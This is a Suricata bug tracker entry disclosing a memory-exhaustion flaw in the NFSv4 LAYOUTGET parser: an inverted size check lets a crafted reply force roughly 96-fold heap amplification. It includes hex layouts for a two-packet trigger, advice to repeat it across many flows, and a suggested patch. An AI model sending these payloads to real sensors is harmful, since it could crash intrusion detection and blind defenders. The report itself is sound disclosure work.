Bug #8816
Updated by Jason Ish 22 days ago
Reported by Communications Security Establishment (CSE): <pre> ## Summary The NFSv4 LAYOUTGET response parser in Suricata's Rust NFS dissector reads a 32-bit `fh_handles` count from the wire and passes it directly to nom7's `count()` combinator, which eagerly calls `Vec::with_capacity(fh_handles)`. A guard intended to prevent over-allocation is present, but its arithmetic is inverted (`fh_handles > 4 * i.len()` instead of `fh_handles > i.len() / 4`), so it permits counts up to four times the remaining input length rather than one-quarter of it. A network attacker who can place a single small NFSv4 COMPOUND request and a crafted reply on a monitored TCP/2049 flow can force Suricata to allocate roughly 96 bytes of heap per byte of received payload (≈100 MB for a ~1 MB reply with default settings), per flow, leading to memory-exhaustion DoS. ## Affected Piece of Code - **File:** `rust/src/nfs/nfs4_records.rs` - **Function / Location:** `nfs4_parse_res_layoutget()` ~L918–948 (specifically L931–937) - **Subsystem:** rust-nfs-rpc — NFS/RPC and Kerberos parsers ```rust rust/src/nfs/nfs4_records.rs: 926 let (i, _) = be_u32(i)?; 927 let (i, device_id) = take(16_usize)(i)?; 928 let (i, _nfl_util) = be_u32(i)?; 929 let (i, _strip_index) = be_u32(i)?; 930 let (i, _offset) = be_u64(i)?; 931 let (i, fh_handles) = be_u32(i)?; 932 // check before `count` allocates a vector 933 // so as not to run out of memory 934 if fh_handles as usize > 4 * i.len() { 935 return Err(Err::Error(make_error(i, ErrorKind::Count))); 936 } 937 let (i, file_handles) = count(nfs4_parse_handle, fh_handles as usize)(i)?; 938 Ok(( 939 i, 940 Nfs4ResponseLayoutGet { 941 stateid, 942 length, 943 layout_type, 944 device_id, 945 file_handles, 946 }, 947 )) 948 } ``` ## The Bug Before invoking `count(nfs4_parse_handle, fh_handles as usize)`, the code attempts to bound `fh_handles` to avoid an out-of-memory allocation — the in-source comment at L932–933 explicitly states this intent. However, the guard at L934 is written as `if fh_handles as usize > 4 * i.len()`, which is inverted. Each serialized NFSv4 file handle on the wire requires at least 4 bytes (the `be_u32` length prefix parsed by `nfs4_parse_handle` at `nfs4_records.rs:128–133`), so the *maximum* number of handles that can possibly be encoded in the remaining input is `i.len() / 4`, not `4 * i.len()`. The check as written therefore allows `fh_handles` values up to 16× larger than the correct bound. nom 7.1.3's `count()` combinator (pinned in `rust/Cargo.toml.in:41` and `rust/Cargo.lock.in:861–864`) begins by calling `Vec::with_capacity(count)` *before* it attempts to parse a single element. The element type here is `Nfs4Handle`, which on a 64-bit target occupies 24 bytes (a `u32` + padding + a 16-byte `&[u8]` fat pointer). Consequently, an attacker who sets `fh_handles = 4 * i.len()` triggers an immediate heap allocation of approximately `4 * i.len() * 24 ≈ 96 * i.len()` bytes — a ~96× amplification of received bytes into resident heap. The allocation happens regardless of whether any handle subsequently parses successfully. Additionally, on 32-bit targets the expression `4 * i.len()` can wrap `usize`, defeating the guard entirely. **Call chain (network → vulnerable line).** The vulnerable code is reached via the NFS app-layer to-client (response) parser, which is registered and enabled by default: 1. AppLayer `parse_tc` callback `nfs_parse_response` — `rust/src/nfs/nfs.rs:1992`, registered at `nfs.rs:2339`. 2. → `NFSState::parse_tcp_data_tc` — `nfs.rs:1768` / `nfs.rs:2005`. 3. → `parse_rpc_reply` — `nfs.rs:1838` → `rust/src/nfs/rpc_records.rs:285`. 4. → `NFSState::process_reply_record` — `nfs.rs:1088` / `nfs.rs:1846`. This pops the XID from `requestmap` (`nfs.rs:1092`); because the matching xidmap entry has `progver == 4`, it dispatches to: 5. → `process_reply_record_v4` — `nfs.rs:1134` → `rust/src/nfs/nfs4.rs:403`. Since `xidmap.procedure == NFSPROC4_COMPOUND (1)`, it calls: 6. → `parse_nfs4_response_compound` — `nfs4.rs:428` → `rust/src/nfs/nfs4_records.rs:1235`. 7. → `nfs4_res_compound_command` — `nfs4_records.rs:1187`, opcode `NFSPROC4_LAYOUTGET (50)` at `nfs4_records.rs:1217`. 8. → `nfs4_res_layoutget` — `nfs4_records.rs:950`, which with `status == 0` (NFS4_OK) calls: 9. → `nfs4_parse_res_layoutget` — `nfs4_records.rs:918`. At L931 `fh_handles` is read raw via `be_u32`; the only guard is the inverted check at L934; L937 then performs `Vec::with_capacity(fh_handles)`. The XID-match prerequisite in step 4 is trivially satisfied by first sending a single NFSv4 COMPOUND RPC *call* in the to-server direction: `process_request_record_v4` (`nfs4.rs:255–321`) unconditionally inserts the xidmap into `requestmap` at `nfs4.rs:320`, even if the COMPOUND body is empty or fails to parse. No special configuration or signature is required — the NFS parser is enabled by default and is selected by protocol probing / port 2049. **Vulnerability class:** network-reachable unbounded allocation (resource exhaustion). ## Reproduction Results This is an **analytically-derived trigger**, fully constructible from the protocol layout and source code; no blocker was encountered. Inject the following two TCP payloads on a single flow (e.g. client `10.0.0.1:40000` ↔ server `10.0.0.2:2049`). Suricata only needs to observe both directions; the default `suricata.yaml` is sufficient. **STEP 1 — to-server (client → 2049):** minimal RPC CALL to seed `requestmap` with `XID = 0x41414141`, program = NFS, version = 4, procedure = COMPOUND. Hex (56 bytes total): ``` 80 00 00 34 # record marker: last-frag, frag_len = 0x34 (52) 41 41 41 41 # XID 00 00 00 00 # msgtype = CALL(0) 00 00 00 02 # rpcvers = 2 00 01 86 a3 # program = 100003 (NFS) 00 00 00 04 # progver = 4 00 00 00 01 # procedure = 1 (COMPOUND) 00 00 00 00 00 00 00 00 # credentials: flavor=AUTH_NULL, len=0 00 00 00 00 00 00 00 00 # verifier: flavor=AUTH_NULL, len=0 00 00 00 00 # COMPOUND tag_len = 0 00 00 00 01 # minorversion = 1 00 00 00 00 # ops_cnt = 0 ``` (Even if the COMPOUND body fails to parse, `nfs4.rs:320` still inserts the xidmap.) **STEP 2 — to-client (2049 → client):** RPC REPLY containing one LAYOUTGET result with a huge `fh_handles` count. Choose `N` = number of trailing pad bytes (attacker-controlled; bounded only by the RPC `frag_len` / `stream.reassembly.depth`). Set `FH = 4 * N`. Layout (total = 140 + N bytes): ``` Record marker: 80 | be24(136 + N) # last-frag, frag_len = 136 + N XID: 41 41 41 41 msgtype: 00 00 00 01 # REPLY reply_state: 00 00 00 00 # MSG_ACCEPTED verifier_flavor: 00 00 00 00 verifier_len: 00 00 00 00 accept_state: 00 00 00 00 # SUCCESS --- NFSv4 COMPOUND reply (prog_data) --- compound status: 00 00 00 00 tag_len: 00 00 00 00 ops_cnt: 00 00 00 01 opcode: 00 00 00 32 # NFSPROC4_LAYOUTGET (50) op status: 00 00 00 00 # NFS4_OK → triggers cond() return_on_close: 00 00 00 00 # must be ≤ 1 stateid.seqid: 00 00 00 00 stateid.other: 00 * 12 layout_seg: 00 00 00 01 offset: 00 * 8 length: 00 * 8 lo_iomode: 00 00 00 00 layout_type: 00 00 00 01 layoutdata_len: 00 00 00 00 # unnamed be_u32 at L926 device_id: 00 * 16 nfl_util: 00 00 00 00 first_stripe_index: 00 00 00 00 pattern_offset: 00 * 8 fh_handles: be32(FH) = be32(4 * N) # ← attacker-controlled value padding: ff * N # arbitrary; first handle parse fails Incomplete, # but Vec is already allocated ``` **Concrete example:** `N = 1,048,436` (so the reply record is ~1 MiB, within the default `stream.reassembly.depth`). Then `FH = 4,193,744` (`0x003F_FDD0`). At L934 the check evaluates `4,193,744 > 4 * 1,048,436 (= 4,193,744)` → `false`, so the guard passes. nom7 `count()` then executes `Vec::with_capacity(4,193,744)` of `Nfs4Handle` (24 B each) → a single ~100 MB heap allocation for ~1 MB of wire data (≈96× amplification). Repeat across many concurrent 5-tuples to multiply memory pressure; with a larger configured `stream.reassembly.depth` the per-flow allocation scales linearly. ## Severity **MEDIUM** — Resource-exhaustion / memory-amplification DoS. A network attacker who can inject traffic in both directions of a TCP flow on port 2049 (the standard IDS threat model — or simply operate a malicious NFS server that a monitored client connects to) can make Suricata allocate ≈96 bytes of heap per byte of received NFS payload, per flow. With the default 1 MiB reassembly depth this is ~96 MiB per flow; opening many parallel flows (each needs only one tiny request plus one ~1 MiB reply) can drive Suricata into OOM-kill or severe allocator pressure and packet drops. The allocation is transient — it is freed when the parser returns `Err` after the first handle fails to decode — so this is a DoS amplifier rather than a single-packet crash, and it provides no memory-corruption or write primitive. On 32-bit targets the additional `4 * i.len()` `usize` wrap defeats the guard entirely, allowing `fh_handles` values up to `u32::MAX`. ## Suggested Fix Invert and tighten the bound so the count cannot exceed the number of minimally-encoded handles that fit in the remaining input (each handle needs at least a 4-byte length prefix), and add a hard absolute cap (RFC 5661 `NFS4_FHSIZE`-based deployments use at most a handful of handles per layout). Optionally avoid nom7 `count()` entirely, as is already done in `nfs4_res_secinfo_no_name` at `nfs4_records.rs:979–985`. ```diff --- a/rust/src/nfs/nfs4_records.rs +++ b/rust/src/nfs/nfs4_records.rs @@ -931,9 +931,10 @@ let (i, fh_handles) = be_u32(i)?; - // check before `count` allocates a vector - // so as not to run out of memory - if fh_handles as usize > 4 * i.len() { + // Each serialized handle is at least 4 bytes (be_u32 length prefix), + // so no more than i.len()/4 handles can be present. Also enforce a + // sane absolute upper bound to avoid Vec::with_capacity OOM in nom7 count(). + if fh_handles as usize > i.len() / 4 || fh_handles > 1024 { return Err(Err::Error(make_error(i, ErrorKind::Count))); } let (i, file_handles) = count(nfs4_parse_handle, fh_handles as usize)(i)?; ``` Alternatively, replace `count(...)` with a manual bounded loop that pushes into a `Vec::new()` (no pre-allocation), mirroring the pattern at `nfs4_records.rs:981–985`. </pre>